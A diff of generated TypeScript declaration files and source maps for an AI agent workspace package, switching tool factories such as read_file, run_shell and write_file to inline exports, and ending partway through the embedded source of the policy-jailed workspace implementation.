- declare function makeMultiEditTool(ops: WorkspaceOps, options?: {
33
+ export declare function makeMultiEditTool(ops: WorkspaceOps, options?: {
34
34
  name?: string;
35
35
  }): ToolContract<MultiEditInput, MultiEditResult>;
36
36
  //#endregion
37
- export { makeMultiEditTool };
38
37
  //# sourceMappingURL=multi-edit.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"multi-edit.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/multi-edit.ts"],"mappings":";;;;;;;;;AA8JA;;;;;;;;;;;;;;;;;AAG+C;;;;;;iBAH/B,iBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,cAAA,EAAgB,eAAA"}
1
+ {"version":3,"file":"multi-edit.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/multi-edit.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wBA8JgB,kBACd,KAAK,cACL;EAAY;IACX,aAAa,gBAAgB"}
@@ -1,7 +1,7 @@
1
1
  import { ReadFileInput, ReadFileResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/read-file.d.ts
6
6
  /**
7
7
  * Build the agent-facing `read_file` tool over a workspace's policy-
@@ -27,9 +27,8 @@ import { ToolContract } from "@warlock.js/ai";
27
27
  * const { data, error } = await readTool.invoke({ path: "src/index.ts" });
28
28
  * if (!error) console.log(data.hash); // feed into edit_file's expectHash
29
29
  */
30
- declare function makeReadFileTool(ops: WorkspaceOps, options?: {
30
+ export declare function makeReadFileTool(ops: WorkspaceOps, options?: {
31
31
  name?: string;
32
32
  }): ToolContract<ReadFileInput, ReadFileResult>;
33
33
  //#endregion
34
- export { makeReadFileTool };
35
34
  //# sourceMappingURL=read-file.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"read-file.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/read-file.ts"],"mappings":";;;;;;;;;AA0CA;;;;;;;;;;;;;;;;;AAG6C;;;iBAH7B,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,aAAA,EAAe,cAAA"}
1
+ {"version":3,"file":"read-file.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/read-file.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;wBA0CgB,iBACd,KAAK,cACL;EAAY;IACX,aAAa,eAAe"}
@@ -1,10 +1,10 @@
1
1
  import { RunShellBackgroundResult, RunShellInput, RunShellResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/run-shell.d.ts
6
6
  /** Options for {@link makeRunShellTool}. */
7
- interface MakeRunShellToolOptions {
7
+ export interface MakeRunShellToolOptions {
8
8
  /** Override the tool name exposed to the LLM (default `"run_shell"`). */
9
9
  name?: string;
10
10
  /**
@@ -49,13 +49,12 @@ interface MakeRunShellToolOptions {
49
49
  * if (error) handleDenied(error);
50
50
  * else console.log(data.exitCode, data.stdout);
51
51
  */
52
- declare function makeRunShellTool(ops: WorkspaceOps, options?: MakeRunShellToolOptions & {
52
+ export declare function makeRunShellTool(ops: WorkspaceOps, options?: MakeRunShellToolOptions & {
53
53
  background?: false;
54
54
  }): ToolContract<RunShellInput, RunShellResult>;
55
- declare function makeRunShellTool(ops: WorkspaceOps, options: MakeRunShellToolOptions & {
55
+ export declare function makeRunShellTool(ops: WorkspaceOps, options: MakeRunShellToolOptions & {
56
56
  background: true;
57
57
  }): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;
58
- declare function makeRunShellTool(ops: WorkspaceOps, options?: MakeRunShellToolOptions): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;
58
+ export declare function makeRunShellTool(ops: WorkspaceOps, options?: MakeRunShellToolOptions): ToolContract<RunShellInput, RunShellResult | RunShellBackgroundResult>;
59
59
  //#endregion
60
- export { MakeRunShellToolOptions, makeRunShellTool };
61
60
  //# sourceMappingURL=run-shell.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"run-shell.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/run-shell.ts"],"mappings":";;;;;;UA2EiB,uBAAA;;EAEf,IAAA;EAFe;;;;;EAQf,YAAA;EAOA;;AAAU;AAwCZ;;;EAxCE,UAAA;AAAA;;;;;;;;;;;;;;;AA2C2C;AAC7C;;;;;;;;;;;;;iBAJgB,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,uBAAA;EAA4B,UAAA;AAAA,IACrC,YAAA,CAAa,aAAA,EAAe,cAAA;AAAA,iBACf,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,EAAS,uBAAA;EAA4B,UAAA;AAAA,IACpC,YAAA,CAAa,aAAA,EAAe,cAAA,GAAiB,wBAAA;AAAA,iBAChC,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,uBAAA,GACT,YAAA,CAAa,aAAA,EAAe,cAAA,GAAiB,wBAAA"}
1
+ {"version":3,"file":"run-shell.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/run-shell.ts"],"mappings":";;;;;;iBA2EiB;;EAEf;;;;;;EAMA;;;;;;;EAOA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wBAwCc,iBACd,KAAK,cACL,UAAU;EAA4B;IACrC,aAAa,eAAe;wBACf,iBACd,KAAK,cACL,SAAS;EAA4B;IACpC,aAAa,eAAe,iBAAiB;wBAChC,iBACd,KAAK,cACL,UAAU,0BACT,aAAa,eAAe,iBAAiB"}
@@ -1,11 +1,11 @@
1
1
  import { RunShellResult, RunTestsInput } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceShellInterpreter } from "../contracts/workspace-policy.type.mjs";
3
3
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
4
+ import "../contracts/index.mjs";
4
5
  import { ToolContract } from "@warlock.js/ai";
5
-
6
6
  //#region ../../packages/ai-workspace/src/tools/run-tests.d.ts
7
7
  /** Options for {@link makeRunTestsTool}. */
8
- interface MakeRunTestsToolOptions {
8
+ export interface MakeRunTestsToolOptions {
9
9
  /** Override the tool name exposed to the LLM (default `"run_tests"`). */
10
10
  name?: string;
11
11
  /**
@@ -46,7 +46,6 @@ interface MakeRunTestsToolOptions {
46
46
  * const { data } = await runTests.invoke({ pattern: "cart-total" });
47
47
  * if (data.exitCode !== 0) inspect(data.stderr);
48
48
  */
49
- declare function makeRunTestsTool(ops: WorkspaceOps, options?: MakeRunTestsToolOptions): ToolContract<RunTestsInput, RunShellResult>;
49
+ export declare function makeRunTestsTool(ops: WorkspaceOps, options?: MakeRunTestsToolOptions): ToolContract<RunTestsInput, RunShellResult>;
50
50
  //#endregion
51
- export { MakeRunTestsToolOptions, makeRunTestsTool };
52
51
  //# sourceMappingURL=run-tests.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"run-tests.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/run-tests.ts"],"mappings":";;;;;;;UAyEiB,uBAAA;;EAEf,IAAA;;AAFF;;;;EAQE,OAAA;EAAA;;;;AAOuC;AAoCzC;EApCE,WAAA,GAAc,yBAAyB;AAAA;;;;;;;;;;;;;;;;AAuCI;;;;;;;;;iBAH7B,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,uBAAA,GACT,YAAA,CAAa,aAAA,EAAe,cAAA"}
1
+ {"version":3,"file":"run-tests.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/run-tests.ts"],"mappings":";;;;;;;iBAyEiB;;EAEf;;;;;;EAMA;;;;;;;EAOA,cAAc;;;;;;;;;;;;;;;;;;;;;;;;;;wBAoCA,iBACd,KAAK,cACL,UAAU,0BACT,aAAa,eAAe"}
@@ -1,7 +1,7 @@
1
1
  import { ShellJobInfo, ShellKillInput } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/shell-kill.d.ts
6
6
  /**
7
7
  * Build the agent-facing `shell_kill` tool: stop a background command
@@ -17,9 +17,8 @@ import { ToolContract } from "@warlock.js/ai";
17
17
  * const { data } = await makeShellKillTool(ops).invoke({ id: "job-1" });
18
18
  * console.log(data?.status); // "killed"
19
19
  */
20
- declare function makeShellKillTool(ops: WorkspaceOps, options?: {
20
+ export declare function makeShellKillTool(ops: WorkspaceOps, options?: {
21
21
  name?: string;
22
22
  }): ToolContract<ShellKillInput, ShellJobInfo>;
23
23
  //#endregion
24
- export { makeShellKillTool };
25
24
  //# sourceMappingURL=shell-kill.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"shell-kill.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/shell-kill.ts"],"mappings":";;;;;;;;;AAyBA;;;;;;;;;;iBAAgB,iBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,cAAA,EAAgB,YAAA"}
1
+ {"version":3,"file":"shell-kill.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/shell-kill.ts"],"mappings":";;;;;;;;;;;;;;;;;;;wBAyBgB,kBACd,KAAK,cACL;EAAY;IACX,aAAa,gBAAgB"}
@@ -1,7 +1,7 @@
1
1
  import { ShellOutputInput, ShellOutputResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/shell-output.d.ts
6
6
  /**
7
7
  * Build the agent-facing `shell_output` tool: the new output of a
@@ -22,9 +22,8 @@ import { ToolContract } from "@warlock.js/ai";
22
22
  * const { data } = await makeShellOutputTool(ops).invoke({ id: "job-1", waitMs: 2_000 });
23
23
  * if (data?.stdout.includes("ready")) console.log("dev server is up");
24
24
  */
25
- declare function makeShellOutputTool(ops: WorkspaceOps, options?: {
25
+ export declare function makeShellOutputTool(ops: WorkspaceOps, options?: {
26
26
  name?: string;
27
27
  }): ToolContract<ShellOutputInput, ShellOutputResult>;
28
28
  //#endregion
29
- export { makeShellOutputTool };
30
29
  //# sourceMappingURL=shell-output.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"shell-output.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/shell-output.ts"],"mappings":";;;;;;;;;AAqCA;;;;;;;;;;;;;;;iBAAgB,mBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,gBAAA,EAAkB,iBAAA"}
1
+ {"version":3,"file":"shell-output.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/shell-output.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;wBAqCgB,oBACd,KAAK,cACL;EAAY;IACX,aAAa,kBAAkB"}
@@ -1,7 +1,7 @@
1
1
  import { TodoListResult, TodoWriteInput } from "../contracts/tool-io.type.mjs";
2
+ import "../contracts/index.mjs";
2
3
  import { TodoStore } from "../todos.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/todo.d.ts
6
6
  /**
7
7
  * Build the agent-facing `todo_write` tool over a workspace's todo list:
@@ -21,7 +21,7 @@ import { ToolContract } from "@warlock.js/ai";
21
21
  * ],
22
22
  * });
23
23
  */
24
- declare function makeTodoWriteTool(store: TodoStore, options?: {
24
+ export declare function makeTodoWriteTool(store: TodoStore, options?: {
25
25
  name?: string;
26
26
  }): ToolContract<TodoWriteInput, TodoListResult>;
27
27
  /**
@@ -35,9 +35,8 @@ declare function makeTodoWriteTool(store: TodoStore, options?: {
35
35
  * const { data } = await makeTodoReadTool(store).invoke({});
36
36
  * console.log(data?.counts.pending);
37
37
  */
38
- declare function makeTodoReadTool(store: TodoStore, options?: {
38
+ export declare function makeTodoReadTool(store: TodoStore, options?: {
39
39
  name?: string;
40
40
  }): ToolContract<Record<string, never>, TodoListResult>;
41
41
  //#endregion
42
- export { makeTodoReadTool, makeTodoWriteTool };
43
42
  //# sourceMappingURL=todo.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"todo.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/todo.ts"],"mappings":";;;;;;;;AA8HA;;;;;;;;;;;;;;;iBAAgB,iBAAA,CACd,KAAA,EAAO,SAAA,EACP,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,cAAA,EAAgB,cAAA;AAwBhC;;;;;;;;;;;AAAA,iBAAgB,gBAAA,CACd,KAAA,EAAO,SAAA,EACP,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,MAAA,iBAAuB,cAAA"}
1
+ {"version":3,"file":"todo.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/todo.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;wBA8HgB,kBACd,OAAO,WACP;EAAY;IACX,aAAa,gBAAgB;;;;;;;;;;;;wBAwBhB,iBACd,OAAO,WACP;EAAY;IACX,aAAa,uBAAuB"}
@@ -1,7 +1,7 @@
1
1
  import { WriteFileInput, WriteFileResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/write-file.d.ts
6
6
  /**
7
7
  * Build the agent-facing `write_file` tool over a workspace's policy-
@@ -25,9 +25,8 @@ import { ToolContract } from "@warlock.js/ai";
25
25
  * const { data } = await writeTool.invoke({ path: "src/new.ts", content: "export {};" });
26
26
  * console.log(data.bytesWritten, data.hash);
27
27
  */
28
- declare function makeWriteFileTool(ops: WorkspaceOps, options?: {
28
+ export declare function makeWriteFileTool(ops: WorkspaceOps, options?: {
29
29
  name?: string;
30
30
  }): ToolContract<WriteFileInput, WriteFileResult>;
31
31
  //#endregion
32
- export { makeWriteFileTool };
33
32
  //# sourceMappingURL=write-file.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"write-file.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/write-file.ts"],"mappings":";;;;;;;;;AAuCA;;;;;;;;;;;;;;;;;AAG+C;iBAH/B,iBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,cAAA,EAAgB,eAAA"}
1
+ {"version":3,"file":"write-file.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/write-file.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;wBAuCgB,kBACd,KAAK,cACL;EAAY;IACX,aAAa,gBAAgB"}
@@ -1,5 +1,6 @@
1
1
  import { WorkspacePolicy } from "./contracts/workspace-policy.type.mjs";
2
2
  import { Workspace } from "./contracts/workspace.contract.mjs";
3
+ import "./contracts/index.mjs";
3
4
  //#region ../../packages/ai-workspace/src/workspace.d.ts
4
5
  /**
5
6
  * Build a {@link Workspace} — the integrator that wires a
@@ -39,7 +40,7 @@ import { Workspace } from "./contracts/workspace.contract.mjs";
39
40
  * // Least-privilege reviewer — no write, no shell.
40
41
  * const reviewer = ai.agent({ model, tools: ws.readonly().tools.all() });
41
42
  */
42
- declare function workspace(policy: WorkspacePolicy): Workspace;
43
+ export declare function workspace(policy: WorkspacePolicy): Workspace;
43
44
  /**
44
45
  * Attach the `workspace` verb to the `ai` namespace via module augmentation,
45
46
  * per the `ai.`-namespace convention. `@warlock.js/ai` now exposes a named `Ai`
@@ -51,7 +52,6 @@ declare module "@warlock.js/ai" {
51
52
  /** Build a policy-jailed filesystem + shell {@link Workspace}. */
52
53
  workspace(policy: WorkspacePolicy): Workspace;
53
54
  }
54
- } //# sourceMappingURL=workspace.d.ts.map
55
+ }
55
56
  //#endregion
56
- export { workspace };
57
57
  //# sourceMappingURL=workspace.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"workspace.d.mts","names":[],"sources":["../../../../../../../packages/ai-workspace/src/workspace.ts"],"mappings":";;;;;;;AAuZA;;;;;;;;AAA6D;AAE5D;;;;;;;;;;;AAWgD;;;;;;;;;;;;;;iBAbjC,SAAA,CAAU,MAAA,EAAQ,eAAA,GAAkB,SAAS;;;;;;;;YAWjD,EAAA;;IAER,SAAA,CAAU,MAAA,EAAQ,eAAA,GAAkB,SAAS;EAAA;AAAA"}
1
+ {"version":3,"file":"workspace.d.mts","names":[],"sources":["../../../../../../../packages/ai-workspace/src/workspace.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wBAuZgB,UAAU,QAAQ,kBAAkB;;;;;;;;YAWxC;;IAER,UAAU,QAAQ,kBAAkB"}
package/esm/workspace.mjs CHANGED
@@ -55,7 +55,7 @@ const READONLY_TOOL_NAMES = [
55
55
  "todoRead"
56
56
  ];
57
57
  /** Tools vended only when the policy enables background commands. */
58
- const BACKGROUND_TOOL_NAMES = new Set(["shellOutput", "shellKill"]);
58
+ const BACKGROUND_TOOL_NAMES = /* @__PURE__ */ new Set(["shellOutput", "shellKill"]);
59
59
  /**
60
60
  * Choose the dumb IO executor for a policy. `"mock"` selects the
61
61
  * in-memory backend (hermetic tests); anything else — including the
@@ -1 +1 @@
1
- {"version":3,"file":"workspace.mjs","names":[],"sources":["../../../../../../../packages/ai-workspace/src/workspace.ts"],"sourcesContent":["import path from \"node:path\";\nimport { ai, type ToolContract } from \"@warlock.js/ai\";\nimport { createLocalBackend } from \"./backends/local\";\nimport { createMockBackend } from \"./backends/mock\";\nimport { WorkspacePolicyError } from \"./errors\";\nimport { createOps } from \"./ops\";\nimport { ShellJobs } from \"./shell-jobs\";\nimport { TodoStore } from \"./todos\";\nimport { makeEditFileTool } from \"./tools/edit-file\";\nimport { makeGlobTool } from \"./tools/glob\";\nimport { makeGrepTool } from \"./tools/grep\";\nimport { makeListDirTool } from \"./tools/list-dir\";\nimport { makeMultiEditTool } from \"./tools/multi-edit\";\nimport { makeReadFileTool } from \"./tools/read-file\";\nimport { makeRunShellTool } from \"./tools/run-shell\";\nimport { makeRunTestsTool } from \"./tools/run-tests\";\nimport { makeShellKillTool } from \"./tools/shell-kill\";\nimport { makeShellOutputTool } from \"./tools/shell-output\";\nimport { makeTodoReadTool, makeTodoWriteTool } from \"./tools/todo\";\nimport { makeWriteFileTool } from \"./tools/write-file\";\nimport type {\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepResult,\n ListDirOptions,\n ListDirResult,\n MultiEditInput,\n MultiEditResult,\n ReadFileResult,\n RunShellResult,\n ShellJobInfo,\n ShellOutputOptions,\n ShellOutputResult,\n StartShellOptions,\n TodoListResult,\n Workspace,\n WorkspaceBackend,\n WorkspaceOps,\n WorkspacePolicy,\n WorkspaceTodoInput,\n WorkspaceToolName,\n WorkspaceTools,\n} from \"./contracts\";\n\n/**\n * The full set of tool names a writable workspace vends, in a stable\n * canonical order so `tools.all()` is deterministic.\n */\nconst ALL_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"editFile\",\n \"multiEdit\",\n \"writeFile\",\n \"listDir\",\n \"runShell\",\n \"shellOutput\",\n \"shellKill\",\n \"runTests\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/**\n * The subset a {@link Workspace.readonly} projection exposes — the\n * tools that cannot change the tree. `editFile` / `multiEdit` /\n * `writeFile` / the shell tools / `runTests` are deliberately omitted so a\n * reviewer agent has no path to change it. The todo tools stay: they only\n * touch the in-memory plan.\n */\nconst READONLY_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"listDir\",\n \"grep\",\n \"glob\",\n \"todoWrite\",\n \"todoRead\",\n];\n\n/** Tools vended only when the policy enables background commands. */\nconst BACKGROUND_TOOL_NAMES: ReadonlySet<WorkspaceToolName> = new Set([\"shellOutput\", \"shellKill\"]);\n\n/**\n * State one workspace shares with every projection made from it: its\n * background commands and its todo list.\n */\ninterface WorkspaceState {\n jobs: ShellJobs;\n todos: TodoStore;\n}\n\n/**\n * Choose the dumb IO executor for a policy. `\"mock\"` selects the\n * in-memory backend (hermetic tests); anything else — including the\n * `\"local\"` default and an absent `backend` — selects the real-disk\n * local backend.\n */\nfunction selectBackend(policy: WorkspacePolicy): WorkspaceBackend {\n if (policy.backend === \"mock\") {\n return createMockBackend();\n }\n\n return createLocalBackend();\n}\n\n/**\n * The internal {@link Workspace} implementation. Holds the resolved\n * backend, the policy, and the single shared {@link WorkspaceOps} seam\n * that both the agent-facing `.tools.*` factories and the human-facing\n * direct methods funnel through — one jail, one rule set, two callers.\n *\n * The `allowedTools` set narrows what `tools.*` will vend and which\n * mutating direct methods are permitted: a full workspace allows every\n * name; a {@link WorkspaceImpl.readonly} projection allows only the\n * read/grep/glob subset and rejects writes/edits/shell/mkdir/remove.\n *\n * Constructed via {@link workspace}; the class itself is internal.\n */\nclass WorkspaceImpl implements Workspace {\n /** The shared, policy-enforced operation layer (jail + guards). */\n private readonly ops: WorkspaceOps;\n\n /** Tool names this projection is permitted to vend / mutate through. */\n private readonly allowedTools: ReadonlySet<WorkspaceToolName>;\n\n public readonly policy: WorkspacePolicy;\n\n public readonly tools: WorkspaceTools;\n\n /** Background commands + todo list, shared with projections. */\n private readonly state: WorkspaceState;\n\n public constructor(\n policy: WorkspacePolicy,\n allowedTools: readonly WorkspaceToolName[] = ALL_TOOL_NAMES,\n state?: WorkspaceState,\n ) {\n this.policy = policy;\n this.allowedTools = new Set(allowedTools);\n this.state = state ?? { jobs: new ShellJobs(), todos: new TodoStore() };\n\n const backend = selectBackend(policy);\n this.ops = createOps(backend, policy, { jobs: this.state.jobs });\n this.tools = this.buildTools();\n }\n\n /**\n * Assemble the agent-facing tool namespace. Each factory builds its\n * tool over the shared `ops`; `all()` returns every *allowed* tool in\n * canonical order and `pick(...)` returns the named subset (silently\n * dropping any name this projection does not allow, so a `readonly()`\n * workspace can never be coaxed into vending a mutating tool).\n */\n private buildTools(): WorkspaceTools {\n // Each `make*Tool` returns a precisely-typed\n // `ToolContract<SpecificInput, SpecificOutput>`, but the agent-facing\n // `WorkspaceTools` surface vends the type-erased `ToolContract`\n // (`ToolContract<unknown, unknown>`). Because `ToolContract` puts its\n // input in a contravariant position (`execute(input)` / `action(input)`),\n // a specific contract is not assignable to the erased one — so erase it\n // once, here, through `unknown`. The runtime object is identical; only\n // the static input type is widened for the shared surface.\n const erase = <TInput, TOutput>(contract: ToolContract<TInput, TOutput>): ToolContract =>\n contract as unknown as ToolContract;\n\n const shell = this.policy.shell;\n const background = shell?.background !== undefined;\n const interpreter = shell?.interpreter ?? \"none\";\n\n const factories: Record<\n WorkspaceToolName,\n (opts?: { name?: string; command?: string }) => ToolContract\n > = {\n readFile: (opts) => erase(makeReadFileTool(this.ops, opts)),\n editFile: (opts) => erase(makeEditFileTool(this.ops, opts)),\n multiEdit: (opts) => erase(makeMultiEditTool(this.ops, opts)),\n writeFile: (opts) => erase(makeWriteFileTool(this.ops, opts)),\n listDir: (opts) => erase(makeListDirTool(this.ops, opts)),\n runShell: (opts) =>\n erase(\n makeRunShellTool(this.ops, {\n ...(opts?.name !== undefined ? { name: opts.name } : {}),\n ...(shell?.timeoutMs !== undefined ? { maxTimeoutMs: shell.timeoutMs } : {}),\n background,\n }),\n ),\n shellOutput: (opts) => erase(makeShellOutputTool(this.ops, opts)),\n shellKill: (opts) => erase(makeShellKillTool(this.ops, opts)),\n runTests: (opts) => erase(makeRunTestsTool(this.ops, { ...opts, interpreter })),\n grep: (opts) => erase(makeGrepTool(this.ops, opts)),\n glob: (opts) => erase(makeGlobTool(this.ops, opts)),\n todoWrite: (opts) => erase(makeTodoWriteTool(this.state.todos, opts)),\n todoRead: (opts) => erase(makeTodoReadTool(this.state.todos, opts)),\n };\n\n const build = (name: WorkspaceToolName, opts?: { name?: string; command?: string }) =>\n factories[name](opts);\n\n // `shell_output` / `shell_kill` only mean something when background\n // commands can be started, so `all()` leaves them out otherwise.\n const vendedByAll = (name: WorkspaceToolName): boolean =>\n this.allowedTools.has(name) && (background || !BACKGROUND_TOOL_NAMES.has(name));\n\n return {\n all: () => ALL_TOOL_NAMES.filter(vendedByAll).map((name) => build(name)),\n pick: (...names: WorkspaceToolName[]) =>\n names.filter((name) => this.allowedTools.has(name)).map((name) => build(name)),\n readFile: (opts) => build(\"readFile\", opts),\n editFile: (opts) => build(\"editFile\", opts),\n multiEdit: (opts) => build(\"multiEdit\", opts),\n writeFile: (opts) => build(\"writeFile\", opts),\n listDir: (opts) => build(\"listDir\", opts),\n runShell: (opts) => build(\"runShell\", opts),\n shellOutput: (opts) => build(\"shellOutput\", opts),\n shellKill: (opts) => build(\"shellKill\", opts),\n runTests: (opts) => build(\"runTests\", opts),\n grep: (opts) => build(\"grep\", opts),\n glob: (opts) => build(\"glob\", opts),\n todoWrite: (opts) => build(\"todoWrite\", opts),\n todoRead: (opts) => build(\"todoRead\", opts),\n };\n }\n\n /**\n * Reject a mutating direct method on a read-only projection — surfaced\n * as a {@link WorkspacePolicyError} (the same typed error a denied\n * command produces) so a caller branches on `error.type`.\n */\n private assertWritable(operation: string): void {\n if (this.allowedTools.has(\"writeFile\")) {\n return;\n }\n\n throw new WorkspacePolicyError(\n `Operation \"${operation}\" is not permitted on a read-only workspace.`,\n { type: \"denied-command\", command: operation },\n );\n }\n\n public readFile(\n filePath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n return this.ops.readFile(filePath, opts);\n }\n\n public async writeFile(\n filePath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n this.assertWritable(\"writeFile\");\n\n return this.ops.writeFile(filePath, content);\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n this.assertWritable(\"editFile\");\n\n return this.ops.editFile(input);\n }\n\n public async multiEdit(input: MultiEditInput): Promise<MultiEditResult> {\n this.assertWritable(\"multiEdit\");\n\n return this.ops.multiEdit(input);\n }\n\n public listDir(dirPath?: string, opts?: ListDirOptions): Promise<ListDirResult> {\n return this.ops.listDir(dirPath, opts);\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n this.assertWritable(\"exec\");\n\n return this.ops.exec(command, opts);\n }\n\n public async startShell(command: string, opts?: StartShellOptions): Promise<ShellJobInfo> {\n this.assertWritable(\"startShell\");\n\n return this.ops.startShell(command, opts);\n }\n\n public shellOutput(id: string, opts?: ShellOutputOptions): Promise<ShellOutputResult> {\n return this.ops.shellOutput(id, opts);\n }\n\n public async shellKill(id: string): Promise<ShellJobInfo> {\n this.assertWritable(\"shellKill\");\n\n return this.ops.shellKill(id);\n }\n\n public listShells(): ShellJobInfo[] {\n return this.ops.listShells();\n }\n\n public readTodos(): TodoListResult {\n return this.state.todos.read();\n }\n\n public writeTodos(todos: WorkspaceTodoInput[]): TodoListResult {\n return this.state.todos.write(todos);\n }\n\n public dispose(): Promise<void> {\n return this.ops.dispose();\n }\n\n public grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n return this.ops.grep(pattern, opts);\n }\n\n public glob(pattern: string): Promise<string[]> {\n return this.ops.glob(pattern);\n }\n\n public exists(filePath: string): Promise<boolean> {\n return this.ops.exists(filePath);\n }\n\n public async mkdir(filePath: string): Promise<void> {\n this.assertWritable(\"mkdir\");\n\n return this.ops.mkdir(filePath);\n }\n\n public async remove(filePath: string): Promise<void> {\n this.assertWritable(\"remove\");\n\n return this.ops.remove(filePath);\n }\n\n /**\n * A read-only projection over the SAME policy — only the read / list /\n * grep / glob / todo tools are vended and every mutating direct method\n * rejects with a {@link WorkspacePolicyError}. A fresh ops/backend is\n * built from the identical policy, so the projection sees the same jailed\n * tree; it shares this workspace's background commands and todo list.\n */\n public readonly(): Workspace {\n return new WorkspaceImpl(\n this.policy,\n READONLY_TOOL_NAMES.filter((name) => this.allowedTools.has(name)),\n this.state,\n );\n }\n\n /**\n * A sub-jailed view rooted at `subdir` (relative to this workspace's\n * `cwd`). Returns a brand-new workspace whose policy is this policy\n * with `cwd` narrowed to `join(cwd, subdir)` — same backend selection,\n * same allow/deny/shell/read sub-policies, but a tighter jail root. It\n * shares this workspace's background commands and todo list.\n */\n public scope(subdir: string): Workspace {\n return new WorkspaceImpl(\n { ...this.policy, cwd: path.join(this.policy.cwd, subdir) },\n [...this.allowedTools],\n this.state,\n );\n }\n}\n\n/**\n * Build a {@link Workspace} — the integrator that wires a\n * {@link WorkspacePolicy} to a backend, the shared policy-enforced ops\n * layer, and the agent-facing tool factories.\n *\n * The backend is chosen from `policy.backend`: `\"mock\"` runs in memory\n * (hermetic tests); the `\"local\"` default (and any absent value) runs\n * over the real disk via `@warlock.js/fs` + `node:child_process`. The\n * returned workspace exposes:\n *\n * - **`tools.*`** — `readFile` / `editFile` / `multiEdit` / `writeFile` 